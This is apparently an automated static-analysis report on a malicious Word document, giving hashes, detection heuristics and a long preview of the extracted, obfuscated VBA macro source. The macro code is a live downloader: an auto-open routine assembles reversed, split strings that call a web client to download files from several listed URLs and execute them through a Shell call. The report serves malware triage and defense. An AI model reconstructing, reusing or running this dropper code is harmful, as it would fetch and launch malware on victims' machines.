Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2502607f93ec0737…

MALICIOUS

Office (OLE)

169.5 KB Created: 2018-04-26 14:33:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: a598d08de1cc8ca828a402ae9d8e0d12 SHA-1: b68469b3921731ae7d2545d2b4ffe603a55761c4 SHA-256: 2502607f93ec073742f320599f6b7e5283aa04ecf6f1eabffd5aae51fad3140c
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate potential shell calls and a legacy WordBasic Autoopen macro, suggesting an attempt to execute arbitrary code. The presence of a 'macros.bas' file and the critical 'OLE_VBA_SHELL' firing strongly suggest the VBA code is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6519348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6519348-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
Shell iIFZwjzD + Chr(vbKeyC) + TqSkcBcl + lKHilcs + zRGNOwZWfO, cTRqiM + 0 + cTRqiM
Select Case mUXJY
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52793 bytes
SHA-256: ce1a15875c8cc653a71324b50de18f3fe93825b77dbc27dd671f962fd0ece23d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
702 of 1133 identifiers look randomly generated (e.g. 'AcjTtCznizLoOsEAZPEZb'); 87 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zfAnnQJJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub UFuwFI(BwdcBR)
Select Case uYTbtR
         Case 25512
            avkpk = Hex(jjAso - ChrW(fitRDB))
            iTYrF = CByte(72325)
            IjFNZ = iPfwOQ
         Case 46232
            VPckMi = LiCYs
            ilBEi = Round(6749)
            AzanS = Log(IPDvCn)
End Select
End Sub
Sub cJDwHs(SwBDo)
Select Case ivdduj
         Case 24757
            cVooR = Hex(VpIjz - ChrW(PjZiEz))
            wtDwXw = CByte(73504)
            MmZBT = RzoPHp
         Case 56921
            cnSEDQ = WvZwzQ
            YWRpf = Round(90789)
            DjhjK = Log(jkTzHJ)
End Select
Select Case QQjSv
         Case 40832
            pqzEV = Hex(waRzR - ChrW(ibZEk))
            sSLmc = CByte(53946)
            oFBIqw = KXTMjd
         Case 20101
            zISVf = ajrLvv
            CMDOX = Round(30276)
            DzRbzX = Log(LHMVHN)
End Select
Select Case SDTGwq
         Case 25971
            JzuDr = Hex(LQzLN - ChrW(zCqrWI))
            Pbiqoh = CByte(22006)
            IkIbYU = nUhvfs
         Case 113
            PJtkuQ = bjosw
            iHFVjX = Round(4590)
            pjoIPO = Log(JacGP)
End Select
End Sub
Sub PjuzRS(IYnjWm)
Select Case NbazU
         Case 95523
            ZZFci = Hex(qSJLm - ChrW(LPaKYO))
            GXRwI = CByte(73551)
            FJiAdl = YpGpU
         Case 75086
            FqPct = atmRBk
            rnIdw = Round(80802)
            zhjIi = Log(QmZUU)
End Select
Select Case boAhB
         Case 39026
            wDLWQ = Hex(sValhd - ChrW(imSYGG))
            sWoUSw = CByte(95555)
            brFGJ = rzmKTJ
         Case 80840
            qAsqcZ = VbbvaV
            OqEUBj = Round(89744)
            faTKnp = Log(NnzDOf)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case cbUYUF
         Case 29477
            LiMPiv = Hex(wIGkH - ChrW(RXRlz))
            OnwWHw = CByte(51002)
            cAcPp = BOlwY
         Case 12724
            HoowdY = KECmU
            BqNME = Round(36887)
            hiwfr = Log(nTDlSN)
End Select
irAFOphEPzOG (EHzJZd + AKWOjzER + HDYzp)
Select Case YSKBZt
         Case 9548
            DdqJFi = Hex(zHSjZb - ChrW(urDma))
            AiFApw = CByte(43065)
            JBMZI = AdIzUv
         Case 74662
            vFNQT = YTzmS
            zYXqU = Round(15964)
            PqGFK = Log(jLQjE)
End Select
End Sub
Sub fIsiz(YdJwpD)
Select Case GzzbG
         Case 35197
            MiXRpz = Hex(AmBHj - ChrW(UnAEqX))
            viCSA = CByte(4127)
            ERjjJQ = Gwlbt
         Case 301
            YrIoGK = Twslj
            jhjER = Round(75598)
            wiCRw = Log(UOqPd)
End Select
Select Case XSXntd
         Case 89127
            alSqza = Hex(oYQhK - ChrW(jmpoq))
            npqcjP = CByte(78543)
            zMuma = vtNPM
         Case 38769
            RjqZh = qqfhz
            nHCjI = Round(68014)
            IODcii = Log(nKmZZ)
End Select
Select Case WSVJAD
         Case 3011
            wVRfuj = Hex(PtJEjk - ChrW(JNDLv))
            fjDGHX = CByte(62462)
            lsiFh = Ktmzju
         Case 37525
            RdUtr = IHFpH
            RRRLXX = Round(5433)
            iAazw = Log(AQbGb)
End Select
End Sub
Sub HHPam(fVMdm)
Select Case zHNtba
         Case 48891
            sBtQC = Hex(ulKsj - ChrW(NHSJCq))
            JrhGA = CByte(26618)
            BrrHoA = QIGNzX
         Case 32975
            uKTzn = qoEqlB
            TKvtC = Round(41197)
            DtDDf = Log(zwMvD)
End Select
End Sub

Attribute VB_Name = "HqzXmDaAL"
Sub nQDzR(zLUwCw)
Select Case AGQSV
         Case 67490
            cInStY = Hex(nIqcU - ChrW(BGnAj))
            BAAbG = CByte(30870)
            bzQVk = RTZfc
         Case 70352
            saKCi = hqNuT
            mViqc = Round(63166)
            CjzYWn = Log(XCnca)
End Select
End Sub
Function AKWOjzER()
On Error Resume Next
Select Case KimWhs
         Case 6396
            YtBaoi = Hex(PchzAO - ChrW(kqjkv))
            CtZII = CByte(735)
            dOlRz = iUDiz
         Case 91676
            vTzlpw = qwvmzz
            ZiUtSn = Round(46104)
            BqQAA = Log(zjLkpA)
End Select
VUpAbJ = MEQQXO("nQtS1'+'-VLj+VLjwVL'+'j+V'+'L'+'jen'+'V'+'L'+'j('+'.'+' = UYY6Ze;modnaS", HpcJm - HpcJm + 2 + HpcJm - HpcJm, HpcJm - HpcJm + 65 + HpcJm - HpcJm)
Select Case junTL
         Case 43249
            fTzUB = Hex(Fpjlh - ChrW(XkRJV))
            wtrSkC = CByte(15718)
            apkjaG = Ifirw
         Case 97714
            iKwZDh = fRkSiP
            YNiwLE = Round(65961)
            ECLaq = Log(FjRYp)
End Select
Select Case zvFsNO
         Case 31291
            cbAfQ = Hex(XUHDb - ChrW(NJaoma))
            ZWwiwV = CByte(69575)
            lOPSLc = wVzdF
         Case 38346
            lsoMzY = UQGnlq
            jzDKjL = Round(73837)
            slQJC = Log(FpIVJ)
End Select
zQozhh = MEQQXO("Gjr )VLjtVLj+'+%Gd8G3G", OjVKw - OjVKw + 8 + OjVKw - OjVKw, OjVKw - OjVKw + 13 + OjVKw - OjVKw)
Select Case lDpkXL
         Case 5541
            zIfal = Hex(SXvSY - ChrW(rjACw))
            ViPbzR = CByte(54092)
            IcHTnU = WHjGp
         Case 46531
            riupwA = EDmoj
            YBWLNw = Round(83020)
            pQbfE = Log(VYQwG)
End Select
Select Case WmVXjS
         Case 66796
            tvmRlz = Hex(EaGPu - ChrW(idSzqB))
            zqWDv = CByte(4918)
            wtrNJt = drrjz
         Case 47369
            wVOkam = IDZsQQ
            CYiWiO = Round(6111)
            jtGAV = Log(maQrd)
End Select
jVYMolOj = MEQQXO("BWN.rjt'+'cejb'+'oC", jmjhH - jmjhH + 2 + jmjhH - jmjhH, jmjhH - jmjhH + 13 + jmjhH - jmjhH)
Select Case CVITV
         Case 31329
            pqRUsd = Hex(bSIKQJ - ChrW(llVdZQ))
            VdJBnu = CByte(63140)
            QPASSN = SYNXh
         Case 58375
            RFaTb = jmpwz
            UNHTF = Round(66537)
            uCtJw = Log(jRTzQB)
End Select
Select Case wpIqGw
         Case 34367
            FpiOwt = Hex(rdPjSu - ChrW(rMFCfj))
            cjrhQC = CByte(5130)
            Yarid = GspKSf
         Case 65208
            XJmzT = vkDRit
            Iqhfrq = Round(52867)
            orjQj = Log(TPsMEF)
End Select
IfOXbDWLDf = MEQQXO("S,p7= X'+'CDA6Ze;)3'+'3'+'1282 ,00001(txen.dsa'+'dasn6Ze = '+'BSN6Ze;tneil'+'CbeW.te'+'N.metsyS '+')VL8wsV", EBLDaU - EBLDaU + 5 + EBLDaU - EBLDaU, EBLDaU - EBLDaU + 98 + EBLDaU - EBLDaU)
Select Case IivTj
         Case 8467
            nWaAk = Hex(zCIia - ChrW(GzjRDj))
            NcVLEi = CByte(76056)
            zIlMI = HQSRij
         Case 24882
            RGOmPz = ZQrmw
            rSLVWw = Round(30110)
            tXRSDz = Log(QzUAZa)
End Select
Select Case FwMOW
         Case 90816
            tYMEEU = Hex(HaGFSf - ChrW(qQMDoQ))
            QYzmA = CByte(43505)
            SOHQsz = WhnAGP
         Case 17383
            AwtXRO = ALhfLc
            PRDwOp = Round(24223)
            oahJUj = Log(DiALV)
End Select
vzErZmnUiHB = MEQQXO("f8cWL'+'jmetI-eVLj+V'+'L'+'jkVLj+VLjovnIVLj(&;)CDS6Ze ,'+')(hc'+'GgNQz@", OzSOo - OzSOo + 3 + OzSOo - OzSOo, OzSOo - OzSOo + 65 + OzSOo - OzSOo)
Select Case wscFU
         Case 69175
            wiNlN = Hex(RVwIB - ChrW(jBKTp))
            uwcIz = CByte(58554)
            HaQYb = tFzCGM
         Case 92762
            zRCGZz = mXoZnz
            llnjjl = Round(12834)
            BzVPHO = Log(zEHtLw)
End Select
Select Case jjmCn
         Case 22509
            hopVt = Hex(wTOfQ - ChrW(MziSIT))
            ASoXN = CByte(25172)
            ivmspt = sJaNGT
         Case 13493
            ksMrPc = FOdji
            zsQcI = Round(36729)
            CjVpWG = Log(oDFBA)
End Select
ompUD = MEQQXO("7oG+V'+'LjnVLj(& = '+'dsadasn6Z'+'e'( ( XeI 5tGCb", aBZiIU - aBZiIU + 6 + aBZiIU - aBZiIU, aBZiIU - aBZiIU + 41 + aBZiIU - aBZiIU)
Select Case QiwKVz
         Case 96717
            qYOGKW = Hex(QKkwAX - ChrW(DXXUJH))
            BIcjk = CByte(89883)
            wFGKU = MIHiL
         Case 68299
            XtUDza = iZnAoq
            oPmXa = Round(53645)
            UEdnfO = Log(uPoJZ)
End Select
Select Case iOWTw
         Case 41648
            ObDXU = Hex(sjTJJ - ChrW(bFhnEF))
            lmPjMz = CByte(99507)
            SzwvMA = brDAw
         Case 41693
            WiJon = OAaRO
            kjzvr = Round(50991)
            tZkXN = Log(iJdqkE)
End Select
GZKqakBHb = MEQQXO("o4LuN.omocediug/'+'/:ptth@'+'/H50'+'PP09/pj.o'+'loccin//:pt'+'t'+'h@'+'/MN8qz/ac.gnitlusnocla'+'tnemn'+'or'+'i'+IAh", vHoYjJ - vHoYjJ + 4 + vHoYjJ - vHoYjJ, vHoYjJ - vHoYjJ + 107 + vHoYjJ - vHoYjJ)
Select Case FcQjW
         Case 45090
            dNSZi = Hex(rQicvL - ChrW(icjmL))
            rILlKq = CByte(24968)
            PISSY = QqfHL
         Case 87620
            FObBuY = cdsiVb
            BScHiR = Round(49583)
            HPJWrJ = Log(wcaRPl)
End Select
Select Case lEPDlV
         Case 15872
            zdYEmq = Hex(UoJmXh - ChrW(lwwWX))
            OtJjPQ = CByte(29000)
            dhImiL = iUHAY
         Case 91750
            KTpDG = SSHPz
            kGUpo = Round(41105)
            IrGAAo = Log(ODboV)
End Select
qLZDUXB = MEQQXO("wrjlZh6Ze(h'+'cae'+'rof;)V'+'LjeVLj+VLjxe.'+'VLj( + '+'BSN'+'6'+'Ze + VhCW", kjPShf - kjPShf + 4 + kjPShf - kjPShf, kjPShf - kjPShf + 65 + kjPShf - kjPShf)
Select Case sFjptM
         Case 19824
            OKZtoP = Hex(BNfTfw - ChrW(SDToOk))
            PqStw = CByte(52092)
            WfvbLc = jhGMZv
         Case 25358
            wVqCFn = WEzaww
            HApou = Round(58829)
            krTUtl = Log(Mcpon)
End Select
Select Case NEWDwF
         Case 11693
            pSiHLH = Hex(irkXcn - ChrW(zblpKm))
            DrXzP = CByte(36334)
            sRANQu = pzLmnE
         Case 77784
            DUknh = uSJuT
            laGJvo = Round(66309)
            ajJLsF = Log(bZCXi)
End Select
vwPJjlsF = MEQQXO("poMviaL'+'LjFnD'+'VLj +'+' ci'+'lb'+'up:vne'+'6'+'Z'+'e = C'+'D'+'S6'+'Ze;'+')VLj@VLj(ti'+'lpS'+'.VLj/4'+'QqP/t'+'inH", uzCwW - uzCwW + 3 + uzCwW - uzCwW, uzCwW - uzCwW + 108 + uzCwW - uzCwW)
Select Case foDMcl
         Case 75476
            zrTwSo = Hex(tBrwV - ChrW(wTKZv))
            wSsGXl = CByte(3919)
            mDwTD = obspPa
         Case 31886
            iXLYMY = UsnhJo
            GkwKQi = Round(54305)
            EYvaNX = Log(VJULFk)
End Select
Select Case JIbvY
         Case 5244
            vBijd = Hex(UvmsQL - ChrW(zmSzf))
            lFhffH = CByte(84989)
            IFwrH = dbPBn
         Case 35067
            DcUUH = YUXpbQ
            QNNVDY = Round(71469)
            LppAIo = Log(VWRMNQ)
End Select
TLHBhfzHrmd = MEQQXO("Va.'v'+'nehg'+'reb.'+'www'+'//:'+'ptth@/'+'8uu'+'kk/gro.noit'+'a'+'dn'+'uofylimafyeldog//:p'+'tth@/lx7O/'+'m'+'o'+'c.l'+'anoicanretnioiuqoloc.w'+'ww/'+'/'+':pt'+'th VL'+'j K%ka", vwZdY - vwZdY + 5 + vwZdY - vwZdY, vwZdY - vwZdY + 169 + vwZdY - vwZdY)
Select Case dNLYST
         Case 3253
            QVbVGP = Hex(tzOhu - ChrW(mfTwAz))
            AYPCWi = CByte(69146)
            KfGRZ = ZUZniL
         Case 12951
            TzjVrr = rZRWCl
            FYwYfO = Round(67919)
            IPVRM = Log(uKRls)
End Select
Select Case bEstf
         Case 18070
            hKzwRa = Hex(wXfLk - ChrW(iUvfd))
            DzRGJ = CByte(233)
            LTQzu = EmOQAt
         Case 22638
            ujPqk = uSGIN
            SFnPE = Round(76931)
            wOifal = Log(jQUDvl)
End Select
zXjqtGTXV = MEQQXO("ZKHb'VLj'+'c'+'ejbo-w'+'VLj+V'+'Lj'+'e'+'VLjQX8M4", FSVAq - FSVAq + 6 + FSVAq - FSVAq, FSVAq - FSVAq + 40 + FSVAq - FSVAq)
Select Case uJSCQ
         Case 49015
            XtMIji = Hex(wzwMM - ChrW(MDMBpE))
            jiwDM = CByte(53187)
            XwUNnO = aVWXq
         Case 13233
            iQWrj = FrwRML
            AtuJv = Round(15811)
            pCikYz = Log(lhqdzw)
End Select
Select Case jjOBd
         Case 73426
            pjdEdD = Hex(mOmJK - ChrW(hwJDzM))
            ElksQm = CByte(45394)
            CKVPi = ZakziN
         Case 71031
            YiTAJp = WLCQvq
            vknqf = Round(29017)
            DRujAH = Log(ZFUzF)
End Select
kFKWAiKk = MEQQXO("2Qv7K.C[+09]RahC[+101]RahC[((ECalper.)93]RahC[]gnIRTS[,'VLj'(ECalper.)43]RahC[]gnIRTS[,'hcG'(ECalper.)'}}{h'+'ctac};kae'+'rb;)C'+'DS6Ze()Vwoj", BNbMdn - BNbMdn + 4 + BNbMdn - BNbMdn, BNbMdn - BNbMdn + 132 + BNbMdn - BNbMdn)
Select Case NBZQdi
         Case 54315
            zSwiCV = Hex(AJohVr - ChrW(RYUIh))
            zFhRq = CByte(24326)
            tLXNwm = Dwwzz
         Case 73260
            YvjSjm = kAvUBR
            tlhsqi = Round(70368)
            mbkjnR = Log(cWKvQ)
End Select
Select Case mfUMIH
         Case 12073
            sVioR = Hex(oGjoHz - ChrW(tIibiw))
            KajBY = CByte(45375)
            vDffw = YbosoN
         Case 79770
            WwSsW = tWpkaK
            HSohQu = Round(21843)
            DEIKXa = Log(TmnUH)
End Select
ZrwvvP = MEQQXO("GL) )'`','QU0'(ECalper.)29]RahC[]gnIRTS[,'FnD'(ECalper.)'$',)45]RahO%kN5F", KAwGa - KAwGa + 7 + KAwGa - KAwGa, KAwGa - KAwGa + 65 + KAwGa - KAwGa)
Select Case ocOJB
         Case 55136
            ZNuFli = Hex(JzLXT - ChrW(JTtJhz))
            bCDwF = CByte(5788)
            TqaYOR = TpJDZp
         Case 18822
            TbPBd = ViEcCH
            WKzziz = Round(94532)
            ZnJBs = Log(djGHKK)
End Select
Select Case QsbvDZ
         Case 97770
            zupqT = Hex(sDdPcf - ChrW(jDcujn))
            AvrRzL = CByte(19845)
            hdXuN = KBFRO
         Case 87776
            aOjhb = hozAUm
            zDCYs = Round(15534)
            iVAsiR = Log(YBWdUt)
End Select
jnzYJwkR = MEQQXO("tuaoLGU0i'+'QU0rtSo'+'T'+'hcG.cfsa6Ze'+'(hcGe'+'lQU0IFdaOQU'+'0lnWQU0'+'o'+'D'+'h'+'cG.UYY'+'6Z'+'e{yr'+'t{)XCD'+'A6Ze ni cfsa6rC", ichEZ - ichEZ + 4 + ichEZ - ichEZ, ichEZ - ichEZ + 120 + ichEZ - ichEZ)
Select Case ahLjW
         Case 61570
            ZicDHz = Hex(HzhYG - ChrW(qENoz))
            nJncX = CByte(98881)
            wYWroW = wEnYoa
         Case 35152
            RCoEOb = VTWkM
            TmFEEO = Round(2552)
            kIsBiT = Log(RpAYrE)
End Select
UizSMjXpz = lnSkSZCCUDKki + """" + hTkMQBjuv
AKWOjzER = CEdUIzY + kHmEiWM + VvXUwCiazHOwXs + UizSMjXpz + ncBRlTwbfi + ompUD + zXjqtGTXV + zQozhh + VUpAbJ + jVYMolOj + IfOXbDWLDf + TLHBhfzHrmd + GZKqakBHb + vwPJjlsF + qLZDUXB + jnzYJwkR + vzErZmnUiHB + kFKWAiKk + ZrwvvP
Select Case prupUj
         Case 41961
            MaDKq = Hex(PALmwY - ChrW(rowCRP))
            QQpVwG = CByte(12891)
            qSSVI = zukRK
         Case 50252
            SkphK = zCzmDT
            zwlhMk = Round(71255)
            KtUcQ = Log(stLlGp)
End Select
End Function
Sub PaHbq(zmiTNC)
Select Case Fwjjdz
         Case 96759
            hVvBoP = Hex(wfClT - ChrW(ALNGA))
            jvUQkW = CByte(49015)
            GoTKfc = hFMZB
         Case 66745
            pCQbj = FnWccS
            zNFKf = Round(28260)
            SIMsGq = Log(SGAhwv)
End Select
End Sub

Attribute VB_Name = "PUABunAGj"
Sub YUsvmhWvdXEuv()
On Error Resume Next
Select Case CsdFw
         Case 82527
            Juddw = Hex(wmLuD - ChrW(aboup))
            mvuFoJ = CByte(41428)
            uzCJv = pVPaO
         Case 35773
            aXJRcA = UdOzo
            MvaEF = Round(38783)
            ZLwjC = Log(wiFMNf)
End Select
End Sub
Sub irAFOphEPzOG(TqSkcBcl As String)
On Error Resume Next
Select Case CLXln
         Case 22985
            ADRlF = Hex(juuuK - ChrW(uLOPY))
            PdEmP = CByte(33641)
            RRMBX = RtLHVu
         Case 25431
            hSBoLB = lLovwL
            iENoz = Round(71786)
            DTsXFt = Log(jDsVLv)
End Select
Select Case LCwEPG
         Case 62812
            YGYdt = Hex(Hthub - ChrW(dwIRFI))
            BHvan = CByte(31718)
            WBPkji = zvmwb
         Case 43
            bJLaj = EMuhw
            miwdj = Round(71904)
            DoFiw = Log(wkjDV)
End Select
Shell iIFZwjzD + Chr(vbKeyC) + TqSkcBcl + lKHilcs + zRGNOwZWfO, cTRqiM + 0 + cTRqiM
Select Case mUXJY
         Case 27874
            whEzt = Hex(iASiww - ChrW(hEIhl))
            FPMfD = CByte(36595)
            jQrNA = TRdKXz
         Case 46760
            fNduXi = ihMqX
            IEmCB = Round(63388)
            zRJFi = Log(dtEuk)
End Select
End Sub
Function VvXUwCiazHOwXs()
On Error Resume Next
Select Case EDMIA
         Case 91804
            aIrBJf = Hex(oIOKsT - ChrW(AkJETc))
            uUwmt = CByte(66259)
            TMtwD = YjmVJc
         Case 64340
            ioRDb = ESCDjS
            josPP = Round(94824)
            VvUMoj = Log(Tzouq)
End Select
oHZusQbuU = MEQQXO("w3bElk%!!zjT", MVTqBo - MVTqBo + 4 + MVTqBo - MVTqBo, MVTqBo - MVTqBo + 6 + MVTqBo - MVTqBo)
Select Case KMfjiS
         Case 4631
            AJqRkO = Hex(ruFufG - ChrW(mTFPrX))
            VOJqXK = CByte(37336)
            Mhzud = mivEU
         Case 31491
            DiALpi = LbTafN
            uhaMEZ = Round(66115)
            YwkcLz = Log(KKWGIR)
End Select
Select Case vSfapz
         Case 17321
            StTqIL = Hex(KbFHd - ChrW(wiRRF))
            EGWWb = CByte(99092)
            RzutP = iWIjG
         Case 64782
            jzwzt = bwznN
            kjEiw = Round(44088)
            rluOPi = Log(nvinvL)
End Select
PsvVbHqvEM = MEQQXO("kmGoAnNjzqoFt2", Ififtz - Ififtz + 3 + Ififtz - Ififtz, Ififtz - Ififtz + 7 + Ififtz - Ififtz)
Select Case ziGIYc
         Case 10191
            YRLjj = Hex(kdoMMO - ChrW(UljiPE))
            fTLsCa = CByte(70299)
            zZXum = McCiw
         Case 19648
            Spbiz = fwXZJY
            sFFTi = Round(18676)
            jfOoSb = Log(IIhAR)
End Select
Select Case NVLZW
         Case 2708
            dPzcFX = Hex(RrSHM - ChrW(nDDlC))
            lZRQF = CByte(49800)
            qiXXlL = szGtz
         Case 77997
            bHmtS = OYKSaX
            QSMzu = Round(4342)
            jqtUj = Log(wbqwJn)
End Select
dfOCDo = MEQQXO(".ajzUlUpU% tesnj@G", jMijJE - jMijJE + 5 + jMijJE - jMijJE, jMijJE - jMijJE + 10 + jMijJE - jMijJE)
Select Case MJRiW
         Case 75016
            dSYFzO = Hex(zakHz - ChrW(abkOSN))
            iniNI = CByte(74858)
            oGBhc = DkOSo
         Case 44986
            lwAFp = rnlZC
            JQUqj = Round(21206)
            KEVtYD = Log(sspMSZ)
End Select
Select Case pCrvu
         Case 69997
            LJufYS = Hex(KnnEf - ChrW(rOEIq))
            jAXnGI = CByte(30805)
            HVnda = Uzmwt
         Case 93326
            jVJDw = qYawiF
            BinVn = Round(44906)
            DKoAJ = Log(NnsbIP)
End Select
Rjqwzu = MEQQXO("Jk6IsrWubjSpVXGbXYS4", ukhmdY - ukhmdY + 5 + ukhmdY - ukhmdY, ukhmdY - ukhmdY + 11 + ukhmdY - ukhmdY)
Select Case PCfNkI
         Case 39476
            rjXEY = Hex(RmLQI - ChrW(oWVhI))
            VaDfzq = CByte(35961)
            pwDZl = CiLiRw
         Case 70799
            wAhKz = FsjzEq
            uWLhhl = Round(25625)
            SjlfdS = Log(LrPMJ)
End Select
Select Case QFWuDp
         Case 90158
            PhLkVP = Hex(SXHnW - ChrW(RBYql))
            WqXzW = CByte(28343)
            jAthTn = idLbT
         Case 47660
            NbFfsX = zEzER
            YzshoV = Round(68313)
            BYpnzC = Log(opzWMX)
End Select
CuoCdRHOGvz = MEQQXO("3lDA% tes&&p=%qaLkZpuGktD8", iCwoq - iCwoq + 5 + iCwoq - iCwoq, iCwoq - iCwoq + 19 + iCwoq - iCwoq)
Select Case ORTiq
         Case 39397
            vwdCCu = Hex(kdnwpw - ChrW(DQssU))
            KOzhEN = CByte(31311)
            bOJiPC = cMkzI
         Case 11811
            MKYXZ = LBblWr
            hzwzp = Round(58596)
            JPdTav = Log(bDHvM)
End Select
Select Case NHoJAC
         Case 51031
            EaBij = Hex(jpFLVM - ChrW(BpZKwj))
            lzldK = CByte(79338)
            WwTQjY = KSVur
         Case 30508
            oFIHhw = ROzEV
            SEoXY = Round(82323)
            Jrmupn = Log(qWEPFQ)
End Select
scLBJBNGRQS = MEQQXO("zNDjlu% tesjQC", GCoIh - GCoIh + 4 + GCoIh - GCoIh, GCoIh - GCoIh + 5 + GCoIh - GCoIh)
Select Case wudWds
         Case 71122
            kTMKN = Hex(GdzWAV - ChrW(zTNRtw))
            uJjwF = CByte(66218)
            KLAuw = EHSif
         Case 49856
            ktGtF = zzbPFj
            PJakNF = Round(59973)
            vSzbC = Log(YpAfl)
End Select
Select Case IBEOw
         Case 999
            YHqjj = Hex(iWcSnf - ChrW(JZVHD))
            zdKfaT = CByte(41504)
            kWmNL = wnUEK
         Case 67053
            iRXNL = WvjjzL
            AjObQ = Round(26642)
            LuAqE = Log(TGVEQw)
End Select
iYRFZ = MEQQXO("zz%lcB5b8oS3", ilBCp - ilBCp + 7 + ilBCp - ilBCp, ilBCp - ilBCp + 4 + ilBCp - ilBCp)
Select Case lVLmS
         Case 28148
            wZBppC = Hex(LRZto - ChrW(XtkRhI))
            NQZiPA = CByte(81299)
            iVcIB = MmsKAB
         Case 41635
            owLcz = rltEKi
            izWZp = Round(23958)
            jwzkmV = Log(HrGhG)
End Select
Select Case bMFPZS
         Case 3767
            lrWtKo = Hex(MQoja - ChrW(HjIFBV))
            uBnLDC = CByte(43013)
            CcZVz = VrAVI
         Case 19592
            KLBrz = TdwJYw
            sjELp = Round(15556)
            IKnOL = Log(jlrHks)
End Select
vBiOrruMIY = MEQQXO("khkcawfrA%!&&ll=%AtbtaVaMp", EbdTn - EbdTn + 6 + EbdTn - EbdTn, EbdTn - EbdTn + 18 + EbdTn - EbdTn)
Select Case tkqlU
         Case 7633
            CjFTA = Hex(uPmnp - ChrW(ArvAYm))
            WOiloZ = CByte(62254)
            JHtSql = PcETO
         Case 74856
            UzESEr = zkRzp
            pUuRuU = Round(76409)
            HsVwtz = Log(TvEXso)
End Select
Select Case ujiwD
         Case 4551
            JOsNl = Hex(rCAMrc - ChrW(WPRdN))
            RElSj = CByte(80993)
            MmCjrC = CAGwn
         Case 58051
            hZpTis = piOFkl
            KXwMXC = Round(72056)
            AUUpT = Log(VJSpj)
End Select
HNDbzNGY = MEQQXO("tDWpz%!=%bHILoNBOHLh", jhWVoQ - jhWVoQ + 3 + jhWVoQ - jhWVoQ, jhWVoQ - jhWVoQ + 13 + jhWVoQ - jhWVoQ)
Select Case jivwCw
         Case 78416
            InbHQ = Hex(sdKmQ - ChrW(scZVzo))
            fTUvP = CByte(2124)
            BfbzJZ = NwMsN
         Case 49067
            VszjZH = HFazNZ
            EorMG = Round(34033)
            MBNcq = Log(ifMcm)
End Select
Select Case sjuEB
         Case 2668
            rozsjP = Hex(NaKEw - ChrW(jkFphw))
            lNMduM = CByte(79734)
            QsNhC = FRFnF
         Case 56999
            hTjSts = HiFWDP
            ibVwXa = Round(99631)
            iwXuai = Log(zBbUp)
End Select
QPjwKwRw = MEQQXO("oHPXwmEY=%cBAuRuwBjVjk", iJbVP - iJbVP + 5 + iJbVP - iJbVP, iJbVP - iJbVP + 16 + iJbVP - iJbVP)
Select Case ucKAU
         Case 4340
            mmrim = Hex(apkoi - ChrW(vkknv))
            RIoiEv = CByte(66544)
            rkzKw = XsKvF
         Case 86629
            TDdPN = RuTJpP
            CtTHi = Round(92608)
            MQqpZq = Log(fDZohC)
End Select
Select Case ikMXtk
         Case 14435
            JvlRX = Hex(zsOKd - ChrW(HjKNLF))
            lhkwO = CByte(30365)
            FvcGMS = Xmvitw
         Case 17817
            VwliO = zawMn
            WjYwXB = Round(64847)
            CPIwL = Log(kwOjR)
End Select
jhmiV = MEQQXO("DiP&eh=%wW7uXz2", wFKPqB - wFKPqB + 6 + wFKPqB - wFKPqB, wFKPqB - wFKPqB + 7 + wFKPqB - wFKPqB)
Select Case zPMoK
         Case 69031
            TFUit = Hex(qEqOw - ChrW(rQITG))
            nTtmDM = CByte(28722)
            jcHUjo = ANuhkO
         Case 49525
            PuhRb = rqvGA
            QHhCI = Round(30339)
            sOzViI = Log(rCOlV)
End Select
Select Case jSGwj
         Case 39368
            WSWOaz = Hex(DTldok - ChrW(jfKzIT))
            RfCKW = CByte(38120)
            hCDum = jzUzlu
         Case 730
            IuoTfU = nwzaBa
            mTEEi = Round(67758)
            RiiCG = Log(mLMNO)
End Select
TwbUHosnORa = MEQQXO("is.XAqFcawfrA% tes&&JdEUn", NzdsV - NzdsV + 2 + NzdsV - NzdsV, NzdsV - NzdsV + 19 + NzdsV - NzdsV)
Select Case cIlNq
         Case 81493
            FuGDTl = Hex(iKAsh - ChrW(RDrMF))
            ZONbj = CByte(72663)
            iwzAG = OficL
         Case 57885
            RCcbK = fwBYQ
            IaRkr = Round(34976)
            SHDFh = Log(ufTlm)
End Select
Select Case jUvqWO
         Case 61034
            ThqVIk = Hex(fSuFD - ChrW(vPhTv))
            IKWXs = CByte(14191)
            kjfCdC = DTzUjm
         Case 92844
            BjSmO = oEOWbv
            hwJzO = Round(24404)
            UzPRD = Log(CcQMn)
End Select
